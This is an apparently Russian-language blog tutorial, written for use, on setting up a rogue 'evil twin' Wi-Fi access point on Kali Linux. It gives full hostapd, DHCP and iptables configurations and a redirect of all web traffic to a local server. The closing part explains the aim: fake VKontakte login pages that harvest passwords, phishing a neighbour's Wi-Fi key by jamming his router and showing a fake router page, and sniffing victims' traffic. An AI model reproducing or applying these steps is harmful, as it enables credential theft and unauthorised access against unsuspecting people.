May 24, 2020

Создём левую точку доступа. (Материал к статье)

И так приступим, что нам требуется:

  1. Kali linux

2. Встроенная карта wifi

3. Внешний usb-адаптер wifi ( у меня TL-WN722N)

4. Ноутбук на котором все это будет установлено

5. Рабочая сеть wifi к которой можно подключиться (открытая, закрытая)

(Да, кстати, стандартный NetworkManager на Кали Линукс я заменил на wicd, он создавал проблемы для работы wifi карт в режиме master)

Когда все собрали начинаем работать.

Сперва подключаемся к любой сети wifi, затем открываем терминал и вводим команду (смотрим шлюз сети)

$ ip r grep default

у меня выдает default via 192.168.1.1 dev wlan0 (192.168.1.1 это искали). Далее втыкаем usb wifi адаптер, а в терминале набираем

# ifconfig wlan1 hw ether aa:aa:aa:aa:aa:aa

Этой командой меняем МАК адрес карты, хотя можно не менять. Подумаешь, засветится реальный мак вашей карты.

Далее создаем новую подсеть

# ifconfig wlan1 192.168.2.1 netmask 255.255.255.0 up

Далее добавляем маршрут

# ip r add 192.168.2.0 via 192.168.2.1

Все, карта настроена, сеть создана. На следующем этапе устанавливаем DHCP сервер, кто не знает, это такая штука, которая в автоматическом режиме раздает ip адреса

# apt-get install isc-dhcp-server

Установилось, отлично, теперь настраиваем. Создаем конфигурационный файл в следующем каталоге /etc/dhcp/dhcpd.conf

Внутрь файла сохраняем такие настройки

# Не используем динамический DNS (DDNS)

ddns-update-style none;

# Игнорируем все запросы клиентов на обновление DDNS

ignore client-updates;

# Этот сервер является ответственным для нашей сети

authoritative;

# Время аренды IP-адреса

default-lease-time 600;

max-lease-time 7200;

log-facility local7;

# Конфигурируем информацию о подсети

subnet 192.168.2.0 netmask 255.255.255.0 {

# Пул IP-адресов, из которого будет выбираться IP-адрес для клиентов

range 192.168.2.3 192.168.2.254;

# Шлюз сети, маска и широковещательный адрес

option routers 192.168.2.1;

option subnet-mask 255.255.255.0;

option broadcast-address 192.168.2.255;

# DNS-серверы. Укажем DNS интернет-шлюза и, в качестве глобального, DNS от Google

option domain-name-servers 192.168.1.1, 8.8.8.8; }

Сохраняем. Кликнем правой кнопкой, выбираем свойства, открываем вкладку ПРАВА и смотрим что бы везде было Владелец и группа root, доступ на чтение и запись (из за этой проблемы долго не мог понять почему не запускается). Сделано, Отлично, далее набираем в терминале

# touch /var/run/dhcpd.pid

# chown root:root /var/run/dhcpd.pid /etc/dhcp/dhcpd.conf

И теперь команда на запуск

/usr/sbin/dhcpd -cf /etc/dhcp/dhcpd.conf wlan1

Если не видно никаких слов Error в терминале, значит все Ок и продолжаем дальше.

Включаем маршрутизацию в ядре

# sysctl -w net.ipv4.ip_forward=1

Дальше следует список команд, которые очистят таблицы filtet и nat. Если вы, впрочем как и я в них ни гельмеса не петрите, просто их впишите в терминал по очереди

# iptables --flush

# iptables --table nat --flush

# iptables --delete-chain

# iptables --table nat --delete-chain

Дальше включаем маскарадинг

# iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE

Дальше разрешаем трафик для наших клиентов в нашей локальной сети

# iptables -A FORWARD -i wlan1 -j ACCEPT

Эту строку просто вбейте и забудьте навсегда про нее

# iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.1.1

Осталось совсем чуть чуть. Установим программу которая собственно и создает точку доступа

# apt-get install hostapd

Далее создаем конфигурационный файл в каталоге /etc/hostapd/hostapd.conf

Копируем в него следующий текст и ищем строчку в которой задается имя фейковой точки доступа. (Кстати с эти же файлом делаем те же манипуляции что и с dhcpd.conf)

По своему вкусу меняем название.

# Сетевой интерфейс, который будет использован точкой доступа

interface=wlan1

# НАЗВАНИЕ ФЕЙКОВОЙ ТОЧКИ ДОСТУПА

ssid=free internet

channel=6

driver=nl80211

# Нам надо, чтобы все видели нашу точку

ignore_broadcast_ssid=0

# Будем поддерживать как wpa1, так и wpa2

auth_algs=3

# Журналируем только информационные сообщения

logger_syslog=-1

logger_syslog_level=2

logger_stdout=-1

logger_stdout_level=2

# Использование управляющего интерфейса только группой root

ctrl_interface_group=0

# Не используем MAC-списки доступа для подключения к нашей точке

macaddr_acl=0

И вот настал момент запустить точку доступа

# /usr/sbin/hostapd -dd -P /tmp/hostapd.pid /etc/hostapd/hostapd.conf

Если все прошло успешно, погода на марсе не подвела, афтор не сделал ошибок и ты все скопипиздил правильно, в эфире начнет вещание твоя открытая точка доступа с твоим невероятно оригинальным названием (а вот в терминале появятся много непонятных посланий с марса, пусть они тебя не смущают). Проверь работу точки с помощью своего смартфона. Подключись к ней. Зайти на любой сайт. Если все работает, то продолжаем.

Ставим сервер apache. В новом окне терминала набираем команду

apt-get install apache2

Апосля установки запускаем

service apache2 start

Проверяем работу apache набрав в строке браузера localhost или 127.0.0.1 должна открыться страница сервера. Открылась, ура. Идем в каталог /var/www/html удаляем отсюда все и создаем файл index.php (расширение файла именно php). Открывает его и внутри пишем

<?php

echo "сайт Runion";

?>

сохраняем, закрываем, проверяем в браузере по адресу 127.0.0.1 Должна быть пустая страница с одной фразой "сайт Runion" если все так, то заебись. И переходим к самому главному, то, ради чего все затевалось.

В новом окне терминала набираем

# sysctl -w net.ipv4.conf.all.route_localnet=1

затем

# iptables -t nat -I PREROUTING -p tcp --dport 80 -j DNAT --to 127.0.0.1:80

Берем смартфон и пробуем выйти на любой сайт. Если все правильно работает, то откроется страница нашего сервера, а на экране надпись "сайт Runion". На твоем лице счастье от проделанной работы.

Если кто не догадался вместо файла index.php Ставится фейковый, например я таким образом создавал мобильную морду контакта с полями ввода логина и пароля. Скрипт выполнялся и сохранял данные в текстовый файл.

Еще применял для взлома вайфай соседа. Ставил вместо index.php морду роутера (я взял из не рабочей программы wifi phisher) с помощью второго ноута глушил точку. сосед подключался к моей точке(наверное тормозил и не понимал что делать на моей странице, но все же вводил пароль) я восстанавливал работу его законной точки, а свою фейковую выключал.

Вообще применение зависит от фантазии. Важно знать, если смартфон жертвы уже подключался к какой либо закрытой AP, а вы подняли свою, открытую, но точно с таким же названием, то почти наверняка звонилка конектится с вашей. Плюс Минус ряд условий.

Самые прошаренные могут не перенаправлять пакеты на свой локальный сервер, а пропускать весь трафик через себя. Программой wireshark подслушать/сохранить весь проходящий трафик (она входит в стандарный набор Кали линукс).